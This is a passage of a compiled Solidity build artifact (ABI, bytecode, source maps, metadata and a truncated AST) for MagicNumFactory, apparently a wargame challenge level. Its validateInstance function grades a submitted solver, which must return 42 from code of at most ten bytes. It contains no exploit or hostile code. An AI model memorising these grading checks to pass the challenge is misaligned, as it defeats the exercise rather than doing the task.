+{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6105ea8061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b6100856100803660046103c6565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d83660046103e8565b61014c565b6040519015158152602001610099565b3480156100f8575f80fd5b506100706101073660046103c6565b610250565b6101146102e5565b61011d5f61033e565b565b5f60405161012c906103a5565b604051809103905ff080158015610145573d5f803e3d5ffd5b5092915050565b5f808390505f816001600160a01b03166349a7a26d6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b2919061041f565b90505f816001600160a01b031663650500c16040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101f1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610215919061043a565b9050602a811461022a575f935050505061024a565b813b600a811115610241575f94505050505061024a565b60019450505050505b92915050565b6102586102e5565b6001600160a01b0381166102d95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102e28161033e565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102d0565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6101638061045283390190565b6001600160a01b03811681146102e2575f80fd5b5f602082840312156103d6575f80fd5b81356103e1816103b2565b9392505050565b5f80604083850312156103f9575f80fd5b8235610404816103b2565b91506020830135610414816103b2565b809150509250929050565b5f6020828403121561042f575f80fd5b81516103e1816103b2565b5f6020828403121561044a575f80fd5b505191905056fe608060405234801561000f575f80fd5b506101468061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80631f8794331461003857806349a7a26d1461008e575b5f80fd5b61008c6100463660046100d6565b5f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b005b5f546100ad9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b5f602082840312156100e6575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff81168114610109575f80fd5b939250505056fea26469706673582212201ed06ae2b264afa979c4761c62a56c8d7bb1d4bd17fe273eef4cdeb2c5e4c66264736f6c63430008180033a26469706673582212203f3b7328b9d76acb72a9f55c37382d97bff11ac7c6a6e8d4fb65226cd7b8b18764736f6c63430008180033","sourceMap":"204:880:94:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;204:880:94;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;204:880:94:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b6100856100803660046103c6565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d83660046103e8565b61014c565b6040519015158152602001610099565b3480156100f8575f80fd5b506100706101073660046103c6565b610250565b6101146102e5565b61011d5f61033e565b565b5f60405161012c906103a5565b604051809103905ff080158015610145573d5f803e3d5ffd5b5092915050565b5f808390505f816001600160a01b03166349a7a26d6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b2919061041f565b90505f816001600160a01b031663650500c16040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101f1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610215919061043a565b9050602a811461022a575f935050505061024a565b813b600a811115610241575f94505050505061024a565b60019450505050505b92915050565b6102586102e5565b6001600160a01b0381166102d95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102e28161033e565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102d0565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6101638061045283390190565b6001600160a01b03811681146102e2575f80fd5b5f602082840312156103d6575f80fd5b81356103e1816103b2565b9392505050565b5f80604083850312156103f9575f80fd5b8235610404816103b2565b91506020830135610414816103b2565b809150509250929050565b5f6020828403121561042f575f80fd5b81516103e1816103b2565b5f6020828403121561044a575f80fd5b505191905056fe608060405234801561000f575f80fd5b506101468061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80631f8794331461003857806349a7a26d1461008e575b5f80fd5b61008c6100463660046100d6565b5f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b005b5f546100ad9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b5f602082840312156100e6575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff81168114610109575f80fd5b939250505056fea26469706673582212201ed06ae2b264afa979c4761c62a56c8d7bb1d4bd17fe273eef4cdeb2c5e4c66264736f6c63430008180033a26469706673582212203f3b7328b9d76acb72a9f55c37382d97bff11ac7c6a6e8d4fb65226cd7b8b18764736f6c63430008180033","sourceMap":"204:880:94:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;244:122:94;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;244:122:94;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;372:710:94;;;;;;;;;;-1:-1:-1;372:710:94;;;;;:::i;:::-;;:::i;:::-;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;372:710:94;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;244:122:94:-;310:7;344:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;329:30:94;244:122;-1:-1:-1;;244:122:94:o;372:710::-;464:4;514:17;543:9;514:39;;614:13;637:8;-1:-1:-1;;;;;637:15:94;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;614:41;;716:13;732:6;-1:-1:-1;;;;;732:29:94;;:31;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;716:47;-1:-1:-1;786:66:94;777:75;;773:93;;861:5;854:12;;;;;;;773:93;988:19;;1037:2;1030:9;;1026:27;;;1048:5;1041:12;;;;;;;;1026:27;1071:4;1064:11;;;;;;372:710;;;;;:::o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;1896:2:155;2161:73:23::1;::::0;::::1;1878:21:155::0;1935:2;1915:18;;;1908:30;1974:34;1954:18;;;1947:62;2045:8;2025:18;;;2018:36;2071:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;2303:2:155;1414:68:23;;;2285:21:155;;;2322:18;;;2315:30;2381:34;2361:18;;;2354:62;2433:18;;1414:68:23;2101:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;1249:251::-;1319:6;1372:2;1360:9;1351:7;1347:23;1343:32;1340:52;;;1388:1;1385;1378:12;1340:52;1420:9;1414:16;1439:31;1464:5;1439:31;:::i;1505:184::-;1575:6;1628:2;1616:9;1607:7;1603:23;1599:32;1596:52;;;1644:1;1641;1634:12;1596:52;-1:-1:-1;1667:16:155;;1505:184;-1:-1:-1;1505:184:155:o","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/MagicNumFactory.sol\":\"MagicNumFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/MagicNum.sol\":{\"keccak256\":\"0xf2ee0db5bfcce4187f08758ef42da2ba22c643aee505ba74989234884cb60c2b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9fae110ba0676d38d647b370f76d2d2412d862571450508a36ce87bb7ddbd556\",\"dweb:/ipfs/QmXtzuvnfPia4Z8ccRDVr2TxPHsM1XQTGGJkRdxNHkgTeF\"]},\"src/levels/MagicNumFactory.sol\":{\"keccak256\":\"0x0fce57f6969d5acd3240cb3a27ceb596f62716f1383c783e8dd45baf5e97407d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7321db582e05d51c03cc22892ff69ba0eb9a171516c3acc25652f2b3a82f7d29\",\"dweb:/ipfs/QmXucXAgsnyHWjtb2yW4qZN6fV8UTHsGPbWRx3TkaJ1LaX\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/MagicNumFactory.sol":"MagicNumFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/MagicNum.sol":{"keccak256":"0xf2ee0db5bfcce4187f08758ef42da2ba22c643aee505ba74989234884cb60c2b","urls":["bzz-raw://9fae110ba0676d38d647b370f76d2d2412d862571450508a36ce87bb7ddbd556","dweb:/ipfs/QmXtzuvnfPia4Z8ccRDVr2TxPHsM1XQTGGJkRdxNHkgTeF"],"license":"MIT"},"src/levels/MagicNumFactory.sol":{"keccak256":"0x0fce57f6969d5acd3240cb3a27ceb596f62716f1383c783e8dd45baf5e97407d","urls":["bzz-raw://7321db582e05d51c03cc22892ff69ba0eb9a171516c3acc25652f2b3a82f7d29","dweb:/ipfs/QmXucXAgsnyHWjtb2yW4qZN6fV8UTHsGPbWRx3TkaJ1LaX"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/MagicNumFactory.sol","id":53815,"exportedSymbols":{"Context":[48281],"Level":[55508],"MagicNum":[53733],"MagicNumFactory":[53814],"Ownable":[46700],"Solver":[53743]},"nodeType":"SourceUnit","src":"33:1052:94","nodes":[{"id":53735,"nodeType":"PragmaDirective","src":"33:23:94","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":53736,"nodeType":"ImportDirective","src":"58:24:94","nodes":[],"absolutePath":"src/levels/MagicNum.sol","file":"./MagicNum.sol","nameLocation":"-1:-1:-1","scope":53815,"sourceUnit":53734,"symbolAliases":[],"unitAlias":""},{"id":53737,"nodeType":"ImportDirective","src":"83:26:94","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":53815,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":53743,"nodeType":"ContractDefinition","src":"111:91:94","nodes":[{"id":53742,"nodeType":"FunctionDefinition","src":"134:66:94","nodes":[],"functionSelector":"650500c1","implemented":false,"kind":"function","modifiers":[],"name":"whatIsTheMeaningOfLife","nameLocation":"143:22:94","parameters":{"id":53738,"nodeType":"ParameterList","parameters":[],"src":"165:2:94"},"returnParameters":{"id":53741,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53740,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53742,"src":"191:7:94","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":53739,"name":"bytes32","nodeType":"ElementaryTypeName","src":"191:7:94","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"190:9:94"},"scope":53743,"stateMutability":"view","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Solver","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[53743],"name":"Solver","nameLocation":"121:6:94","scope":53815,"usedErrors":[],"usedEvents":[]},{"id":53814,"nodeType":"ContractDefinition","src":"204:880:94","nodes":[{"id":53762,"nodeType":"FunctionDefinition","src":"244:122:94","nodes":[],"body":{"id":53761,"nodeType":"Block","src":"319:47:94","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"id":53757,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"344:12:94","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_MagicNum_$53733_$","typeString":"function () returns (contract MagicNum)"},"typeName":{"id":53756,"nodeType":"UserDefinedTypeName","pathNode":{"id":53755,"name":"MagicNum","nameLocations":["348:8:94"],"nodeType":"IdentifierPath","referencedDeclaration":53733,"src":"348:8:94"},"referencedDeclaration":53733,"src":"348:8:94","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"}}},"id":53758,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"344:14:94","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"}],"id":53754,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"336:7:94","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":53753,"name":"address","nodeType":"ElementaryTypeName","src":"336:7:94","typeDescriptions":{}}},"id":53759,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"336:23:94","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":53752,"id":53760,"nodeType":"Return","src":"329:30:94"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"253:14:94","overrides":{"id":53749,"nodeType":"OverrideSpecifier","overrides":[],"src":"292:8:94"},"parameters":{"id":53748,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53747,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53762,"src":"268:7:94","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53746,"name":"address","nodeType":"ElementaryTypeName","src":"268:7:94","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"267:9:94"},"returnParameters":{"id":53752,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53751,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53762,"src":"310:7:94","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53750,"name":"address","nodeType":"ElementaryTypeName","src":"310:7:94","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"309:9:94"},"scope":53814,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":53813,"nodeType":"FunctionDefinition","src":"372:710:94","nodes":[],"body":{"id":53812,"nodeType":"Block","src":"470:612:94","nodes":[],"statements":[{"assignments":[53774],"declarations":[{"constant":false,"id":53774,"mutability":"mutable","name":"instance","nameLocation":"523:8:94","nodeType":"VariableDeclaration","scope":53812,"src":"514:17:94","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"},"typeName":{"id":53773,"nodeType":"UserDefinedTypeName","pathNode":{"id":53772,"name":"MagicNum","nameLocations":["514:8:94"],"nodeType":"IdentifierPath","referencedDeclaration":53733,"src":"514:8:94"},"referencedDeclaration":53733,"src":"514:8:94","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"}},"visibility":"internal"}],"id":53778,"initialValue":{"arguments":[{"id":53776,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53764,"src":"543:9:94","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":53775,"name":"MagicNum","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53733,"src":"534:8:94","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_MagicNum_$53733_$","typeString":"type(contract MagicNum)"}},"id":53777,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"534:19:94","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"}},"nodeType":"VariableDeclarationStatement","src":"514:39:94"},{"assignments":[53781],"declarations":[{"constant":false,"id":53781,"mutability":"mutable","name":"solver","nameLocation":"621:6:94","nodeType":"VariableDeclaration","scope":53812,"src":"614:13:94","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Solver_$53743","typeString":"contract Solver"},"typeName":{"id":53780,"nodeType":"UserDefinedTypeName","pathNode":{"id":53779,"name":"Solver","nameLocations":["614:6:94"],"nodeType":"IdentifierPath","referencedDeclaration":53743,"src":"614:6:94"},"referencedDeclaration":53743,"src":"614:6:94","typeDescriptions":{"typeIdentifier":"t_contract$_Solver_$53743","typeString":"contract Solver"}},"visibility":"internal"}],"id":53787,"initialValue":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":53783,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53774,"src":"637:8:94","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"}},"id":53784,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"646:6:94","memberName":"solver","nodeType":"MemberAccess","referencedDeclaration":53718,"src":"637:15:94","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":53785,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"637:17:94","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":53782,"name":"Solver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53743,"src":"630:6:94","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Solver_$53743_$","typeString":"type(contract Solver)"}},"id":53786,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"630:25:94","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Solver_$53743","typeString":"contract 